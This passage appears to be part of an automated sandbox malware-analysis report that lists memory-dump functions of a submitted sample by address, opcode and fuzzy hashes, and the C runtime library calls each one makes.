Instruction Fuzzy Hash: 14B17370039FA686CBD3FF30911024BF7E0BFC525DF44194AD59986864EB3EE94E9216

Uniqueness

Uniqueness Score: -1.00%

Function 05E27520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: 579b0977f05d0aa4f7445aa22bc2c9c79689622af2b7faa2e9094aa2fcf2df7e
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: B5912573D187BA06D7609EAF8C441B9B7E3AFC4210F9B077ADD9467282C9309E0697D0

Uniqueness

Uniqueness Score: -1.00%

Function 05E2C760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: 8fbe91d09d4f48c064013a196db0b9029b0105958983278f5b2dbefd663a4540
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 3CB17AB5E002199FCB84CFE9C885ADEFBF0FF48210F64916AD919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 05E2A916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: b126a90dee9d5289f5d6b445a6840375454087704652af105c4064aaa34af17f
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: AD71F473A20B254B8314DEB98D94192F2F1EF88610B47C27CCE84D7B45EB71B95A96C0

Uniqueness

Uniqueness Score: -1.00%

Function 05E259F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 587a1ca00a5ddc79b58e388a72296d1e909d39e7b340c4cf952921b9c213a1ce
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: F18138B2A047019FC328CF19D88566AF7E1FFD8214F15892EE99E83B41D770F8558B92

Uniqueness

Uniqueness Score: -1.00%

Function 05E28E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: 7b11c74f4bd2655f0b5755f836b3df40ebf2b72aa9ccf5e7109e61160afc7d05
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: DF710622535B7A0AEBC3DA3E881046BF7D0BE4910AB850956DCD0F3181D72EDE4E77A4

Uniqueness

Uniqueness Score: -1.00%

Function 05E2A699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: 802e10667844eddcf82a7c10dc3ae00922bccb992608af38c7e24ff325cd1853
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: 22813876A10B669BD754CF2AD8C049AFBF1FB08210B518A3ADCA583B41D334F565CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E29120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: 33c4349e87826be0c7572f36a2fc79cbdf16a3737db1e2fb8b25af17c68f92d9
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: 1E61A3339046BB5BDB649E6DD8401A9B7A2BFC4310F5B8A75DC9823642C234EA11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 05E27A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: 9099c8c2bd0bf95e9e8b35805516504aa3916b63f18c0dd1df6fccb4103b2b92
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: 58617C3791262B9BD761DF59D84627AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Uniqueness

Uniqueness Score: -1.00%

Function 05E27880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: ecb0956da765d3fab4211c8bf3446d2ec4945589bec780d7bd30af20f513812c
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: F951DD229257B945EBC3DA3D88504AEBBE0BE49106B46055BDCD0B3181C72EDE4DB7E4

Uniqueness

Uniqueness Score: -1.00%

Function 05E27220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 045E371C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629076133.00000000045E2000.00000040.00000020.00020000.00000000.sdmp, Offset: 045E2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45e2000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: 98e218b331ef2f7d1d60f27026126689176bcf869315c36a5223fb78b396c9f8
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: AB31587580A2419FDB19CE74E890AB5BB70FF87324F1899DDD8818B112D3257147E794

Uniqueness

Uniqueness Score: -1.00%

Function 05E270E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Uniqueness

Uniqueness Score: -1.00%

Function 05E27393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: a58df6ce2d625f00252a5d00779ce7ced38ca205abf6643c603353b4b913a185
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 8E3126716183519FD741EF29D480A4BF7E0FFC8298F01E919F98897225D730E988CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05E418D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 77ac140c8f8d091f91c489885f6f40c17a21019bd0c8a8e973bd4691c4c67bad
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: A111297724814243FE0C862DF4B45BEE395FBC622872C627AD3C34B658D222E1C1DD00

Uniqueness

Uniqueness Score: -1.00%

Function 05E2B000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 896c53f9504b1edde48a1ed2252a6d6a39599a164b3eeef564cc6e69112f5d72
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: D211420A4492C4BDCF424A7840E56EBFFA58E37218F4A71DAC4C45B743D01B150FE761

Uniqueness

Uniqueness Score: -1.00%

Function 045E20A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629076133.00000000045E2000.00000040.00000020.00020000.00000000.sdmp, Offset: 045E2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45e2000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 5107e76cf4a4bf59f01ca84176a7aec15c246130982cfda4b48e6b423ee8e595
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 1E1170723401019FD758DE56DC80EA673EAFB89320B1980A5FD08CB356E676E842D760

Uniqueness

Uniqueness Score: -1.00%

Function 05E20042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a8e4cc8e9630370fcd1038ae349f65339aa0fcc4f72dfef49cecc4eb56cd3c03
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 9F11A172340110AFEB54DF65DCD4FA673EAFB88220B198565ED48CB355E676EC01C760

Uniqueness

Uniqueness Score: -1.00%

Function 05E2A79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: f754c2cfebb227e0f9f84f128f6d034196cb5a7821bd0b9379a75b761f87afcb
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 770128768106629BD710DF3EC8C045AFBF1BB082117528B3ADC9083A41D334E662DBE8

Uniqueness

Uniqueness Score: -1.00%

Function 05E46437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05E4644E

Part of subcall function 05E49636: __calloc_impl.LIBCMT ref: 05E49645

__calloc_crt.LIBCMT ref: 05E46472
_free.LIBCMT ref: 05E46480
__calloc_crt.LIBCMT ref: 05E4648E
_free.LIBCMT ref: 05E4649E
_free.LIBCMT ref: 05E464A4
__copytlocinfo_nolock.LIBCMT ref: 05E464B3
__setmbcp_nolock.LIBCMT ref: 05E464D4
_free.LIBCMT ref: 05E464E2
___removelocaleref.LIBCMT ref: 05E464E9
___freetlocinfo.LIBCMT ref: 05E464F0
_free.LIBCMT ref: 05E464F6

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 3a50d251b462db2d67774e828ef126c20246553062a2e51788a93d6e41190ae5
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 18212031708240AFEF317F25FC09E9B7BE5FF82660B10A02AE4C6550A0EA268950CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05E43F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E43F51

Part of subcall function 05E45BA8: __getptd_noexit.LIBCMT ref: 05E45BA8

__gmtime64_s.LIBCMT ref: 05E43FEA
__gmtime64_s.LIBCMT ref: 05E44020
__gmtime64_s.LIBCMT ref: 05E4403D
__allrem.LIBCMT ref: 05E44093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E440AF
__allrem.LIBCMT ref: 05E440C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E440E4
__allrem.LIBCMT ref: 05E440FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E44119
__invoke_watson.LIBCMT ref: 05E4418A

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 59d490559cdbaec98150208bf339a6e0a12f1eef378e681896a8d4039070302b
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: A171E671B00716ABFB249E79DC84BAAB3B9BF14324F14553AF894D66C0E770D9408F90

Uniqueness

Uniqueness Score: -1.00%

Function 05E4650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05E46547
__calloc_crt.LIBCMT ref: 05E46598
__lock.LIBCMT ref: 05E465AE
__copytlocinfo_nolock.LIBCMT ref: 05E465BF
_wcscmp.LIBCMT ref: 05E465F9
__lock.LIBCMT ref: 05E46610
__updatetlocinfoEx_nolock.LIBCMT ref: 05E46622
___removelocaleref.LIBCMT ref: 05E46628
__updatetlocinfoEx_nolock.LIBCMT ref: 05E46647

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: e963c539e3a263b3d8338e6677af9eb16847b05ff63f5485f299259cd6965984
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 27413432B04304AFEF10AFA4FC88B9E3BE5BF46314F10A46EE994A6191DB759644DF11

Uniqueness

Uniqueness Score: -1.00%

Function 05E484AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05E484B1
_free.LIBCMT ref: 05E484E2
_free.LIBCMT ref: 05E484F5
_free.LIBCMT ref: 05E48513
_free.LIBCMT ref: 05E48525
_free.LIBCMT ref: 05E48536
_free.LIBCMT ref: 05E48541
_free.LIBCMT ref: 05E48565
_free.LIBCMT ref: 05E48581
_free.LIBCMT ref: 05E48597
_free.LIBCMT ref: 05E485BF

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 3b7f7243d5b52467e2d58428ea0e90a9a9b15918423a0999c7172c00f5791ea6
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 5831B431E082D0DBDF255F54FC8489977A4FB14324B04A62AE9C5572A0CBB859C9EF94

Uniqueness

Uniqueness Score: -1.00%

Function 05E6FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E6FC1F

Part of subcall function 05E5169C: std::exception::_Copy_str.LIBCMT ref: 05E516B5

__CxxThrowException@8.LIBCMT ref: 05E6FC34
std::exception::exception.LIBCMT ref: 05E6FC4D
__CxxThrowException@8.LIBCMT ref: 05E6FC62
std::regex_error::regex_error.LIBCPMT ref: 05E6FC74

Part of subcall function 05E6F914: std::exception::exception.LIBCMT ref: 05E6F92E

__CxxThrowException@8.LIBCMT ref: 05E6FC82
std::exception::exception.LIBCMT ref: 05E6FC9B
__CxxThrowException@8.LIBCMT ref: 05E6FCB0

Strings

leM, xrefs: 05E6FCA8

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 0898a4ccafead90925c48a77a981e67f079e2e9539cb906874ea2af2960e2248
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: F311FE79D0020DBBCF04FFA5E459CDDBB7CAB04344F5085A6AD9497240EB74A348CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E2F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05E2F01F

Part of subcall function 05E41602: __FF_MSGBANNER.LIBCMT ref: 05E41619
Part of subcall function 05E41602: __NMSG_WRITE.LIBCMT ref: 05E41620

_malloc.LIBCMT ref: 05E2F02B
_wprintf.LIBCMT ref: 05E2F03E
_free.LIBCMT ref: 05E2F044
_free.LIBCMT ref: 05E2F065
_malloc.LIBCMT ref: 05E2F06D
_sprintf.LIBCMT ref: 05E2F0C0
_wprintf.LIBCMT ref: 05E2F0D2
_wprintf.LIBCMT ref: 05E2F0DC
_free.LIBCMT ref: 05E2F0E5

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 326b45451a5e5ab89fd393eccbaa563a7c9c2dd3eea520e0cf7b944a70fd628c
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: FA113AB6A005607AD761A6B56C15EFF3BEC9F45302F0410A9FBDCD1180DA185A04DBB2

Uniqueness

Uniqueness Score: -1.00%

Function 05E31960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E319C6
__CxxThrowException@8.LIBCMT ref: 05E319F1
__CxxThrowException@8.LIBCMT ref: 05E31A1A
__CxxThrowException@8.LIBCMT ref: 05E31A4B
_memset.LIBCMT ref: 05E31A6A
__CxxThrowException@8.LIBCMT ref: 05E31A90
_malloc.LIBCMT ref: 05E31AA0
_memset.LIBCMT ref: 05E31AAB
_sprintf.LIBCMT ref: 05E31ACE

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: e19f9913758c9080763271741d3d7b229f7008d904b682ab08426ee524d53033
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 99514D71E40209ABEB11DBA5DC8AFEFBBB8FF04744F101069F945B6180E7749A05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E2F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E2F284
__CxxThrowException@8.LIBCMT ref: 05E2F2AF
__CxxThrowException@8.LIBCMT ref: 05E2F2DE
__CxxThrowException@8.LIBCMT ref: 05E2F30F
_memset.LIBCMT ref: 05E2F32E
__CxxThrowException@8.LIBCMT ref: 05E2F354
_sprintf.LIBCMT ref: 05E2F373

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 299b80463931f4c7628a3b09d069952cfc8f9ab7a9bb934645ffe34d3dc10267
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 8F516FB1E40219AAEF11DFA1DC4AFEEBBB9FB04704F101065F951B6180E775AA05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E2F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E2F4B7
__CxxThrowException@8.LIBCMT ref: 05E2F4E2
__CxxThrowException@8.LIBCMT ref: 05E2F504
__CxxThrowException@8.LIBCMT ref: 05E2F535
_memset.LIBCMT ref: 05E2F554
__CxxThrowException@8.LIBCMT ref: 05E2F57A
_sprintf.LIBCMT ref: 05E2F594

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 8ee538ae6c8b50df906e0f0132cff8d37e666a2c26e1edc19a655cc1cac16a02
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 31516371E40219AADF11DFA1DC8AFFEBBB8FF04744F101129F995B6180E674A9058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E6208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05E620C6
__invoke_watson.LIBCMT ref: 05E62120
_strlen.LIBCMT ref: 05E620D4

Part of subcall function 05E45BA8: __getptd_noexit.LIBCMT ref: 05E45BA8

_strnlen.LIBCMT ref: 05E6215F
__lock.LIBCMT ref: 05E62170
__getenv_helper_nolock.LIBCMT ref: 05E6217B

Memory Dump Source

Source File: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

